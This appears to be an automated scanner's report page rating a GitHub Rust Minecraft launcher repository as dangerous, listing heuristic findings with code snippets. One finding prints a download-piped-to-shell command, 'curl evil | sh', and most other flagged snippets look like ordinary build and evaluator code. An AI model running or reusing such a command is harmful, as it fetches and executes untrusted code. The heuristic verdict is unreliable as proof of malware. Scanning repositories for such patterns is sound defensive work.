live · scanning repos
Scanrepo
github.com
DANGER
malware detected
github.com / gerdaroot

gerdaroot/Horizon-Offline-Launcher

Rust·3402 files·commit 29a77bb·scanned 8h ago·cached ✓
70/100
DANGEROUS
Sensitive capability combinations reachable from entry points. Do not run without review.

This repository contains patterns associated with malware. Do NOT run this code.

verdict accurate?
Created 1 days ago
Created in the last 7 days
Partial architecture graph
threat-state: dangerouslive

FINDINGS ░▒▓

what this code does░▒▓

What happens when you open, install or run it, from the findings below.

  1. when runcrates/cargo-horizon-mod/src/main.rs and 3 other files start system processes. crates/cargo-horizon-mod/src/main.rs, crates/horizon-client/src/crash.rs, crates/horizon-client/src/game/packs.rs, tools/parity.py
  2. when runtools/interaction_lab.py builds code from strings at run time with exec or eval. tools/interaction_lab.py
  3. when runcrates/horizon-server/src/update.rs calls wallet signing APIs and sends requests over the network. crates/horizon-server/src/update.rs
  4. when runlauncher/src/native_mods.rs downloads a script and pipes it to the shell: curl evil | sh. launcher/src/native_mods.rs
criticalRust process Command usagestd::process::Command can execute arbitrary shell commands. Malware uses it to drop payloads, exfiltrate data, or establish persistence.crates/cargo-horizon-mod/src/main.rs
    let cargo = std::env::var("CARGO").unwrap_or_else(|_| "cargo".into());
    let mut cmd = Command::new(cargo);
    cmd.current_dir(root).args([
        "build",
+8
criticalRust process Command usagestd::process::Command can execute arbitrary shell commands. Malware uses it to drop payloads, exfiltrate data, or establish persistence.crates/horizon-client/src/crash.rs
fn command_output(program: &str, args: &[&str]) -> Option<String> {
    let out = std::process::Command::new(program)
        .args(args)
        .output()
+8
criticalRust process Command usagestd::process::Command can execute arbitrary shell commands. Malware uses it to drop payloads, exfiltrate data, or establish persistence.crates/horizon-client/src/game/packs.rs
    };
    if let Err(e) = std::process::Command::new(program).arg(dir).spawn() {
        log::warn!("Horizon: could not open {}: {e}", dir.display());
    }
+8
criticaleval() usage detectedeval() executes arbitrary code and is commonly used in malware to run obfuscated payloads fetched from remote servers.crates/horizon-client/src/providers.rs
    }
    fn eval(v: &Value, fast: bool, table: &HashMap<String, Value>, depth: u32) -> f64 {
        if depth > 16 {
            return 0.0;
+8
criticaleval() usage detectedeval() executes arbitrary code and is commonly used in malware to run obfuscated payloads fetched from remote servers.crates/horizon-shaders/src/condition.rs

    fn eval(expr: &str) -> Result<i64, String> {
        let mut m = Macros::standard();
        m.define("SHADOW_RES", "2048");
+8
criticaleval() usage detectedeval() executes arbitrary code and is commonly used in malware to run obfuscated payloads fetched from remote servers.crates/horizon-shaders/src/custom.rs
    /// values, in the order of `uniforms`.
    pub fn eval(&mut self, dt: f64, builtin: &dyn Fn(&str) -> Option<Val>) -> Vec<Val> {
        let mut vars: HashMap<String, Val> = HashMap::new();
      ...
+8
warningDownload piped into a shellA command downloads remote content and pipes it straight into a shell or interpreter (`curl … | bash`, `iwr … | iex`). Nothing is stored for review and the server can change the payload at any time. Common in CI and Dockerfiles, so this is a warning unless the host is hidden.launcher/src/native_mods.rs
curl evil | sh
+4
warningRust unsafe blockunsafe blocks bypass Rust's memory safety guarantees. Malware uses them for raw pointer manipulation, shellcode injection, or calling dangerous foreign functions.third_party/wgpu-hal/src/gles/egl.rs
    };
    let command = unsafe { ffi::CStr::from_ptr(command_raw) }.to_string_lossy();
    let message = if message_raw.is_null() {
        "".into()
+3
warningPython subprocess / os.system usageos.system() or subprocess with shell=True / suspicious commands can execute arbitrary shell commands. Plain pip/package installs are usually benign.tests/test_pre_push.py
    def git(self, *args):
        return subprocess.check_output(
            ["git", "-c", f"core.hooksPath={self.repo / 'no-hooks'}", "-c", "user.name=Test",
             "-c", "user.email=test@exam...
+4
criticalPython dynamic code executioneval(), exec() or compile() on untrusted input can execute arbitrary code. Common in Python malware for running obfuscated payloads.tools/interaction_lab.py

    def compile(self, *oracles):
        sources = [PARITY / (name + '.java') for name in oracles]
        done = subprocess.run(['javac', '--release', str(self.lock['minecraft']['java_major']), '-pr...
+7
warningPython subprocess / os.system usageos.system() or subprocess with shell=True / suspicious commands can execute arbitrary shell commands. Plain pip/package installs are usually benign.tools/parity.py
        try:
            result = subprocess.run(command, capture_output=True, text=True, cwd=ROOT)
            return (result.stdout + result.stderr).strip()
        except FileNotFoundError:
+4
infoSuspicious files are not reachable from entry pointsFlagged files exist but are not imported by any entry point. They may be dead code, tests, or attack payloads triggered by another mechanism.+2
warningRust wallet/crypto code with network activityCode handling private keys or signing and also making network requests may be exfiltrating secrets or sending funds to an attacker.crates/horizon-server/src/update.rs
    fn the_archive_for_this_computer_is_picked_with_its_signed_digest() {
        use horizon_release_sign::{SigningKey, sha256_hex, sums_file};
        let asset = |name: &str| json!({ "name": name, ...
+5
infoSuspicious file in repoExecutable file (build.ps1) in repositorybuild.ps1+2
infoSuspicious file in repoVery large source file (641KB) — could contain obfuscated payloadcrates/horizon-client/src/game.rs+2
infoSuspicious file in repoExecutable file (install.ps1) in repositoryinstall.ps1+2

Scores are heuristics. A “safe” verdict means no known-malicious patterns were found — clever malware can look boring. Wrong verdict? Flag it above; confirmed false positives become regression tests.

2664 files scanned @ 29a77bb | 10/30/2026 | heuristic scan — always review manually

risk by category
code execution25
network & exfiltration5
file system access0
obfuscation0
supply chain8
owasp / injection0
telemetry
files 2664/3402rules hit 16engine v10commit 29a77bb

github

gerdaroot/Horizon-Offline-Launcher

Horizon Offline Rust Minecraft Launcher

Rust
3
0
1d
3402 files
2664 scanned(78%)
29a77bb

network indicators░▒▓

Hosts this code names or would connect to. Top 50 of 396, decoded and call-site destinations first. Informational, not scored.

architecture░▒▓

entry (0) flagged (26) pkg (196)
596 nodes · 741 edgesscroll to zoom · click node to jump to finding
⚠️ DANGEROUS (70/100) — gerdaroot/Horizon-Offline-Launcher — ScanRepo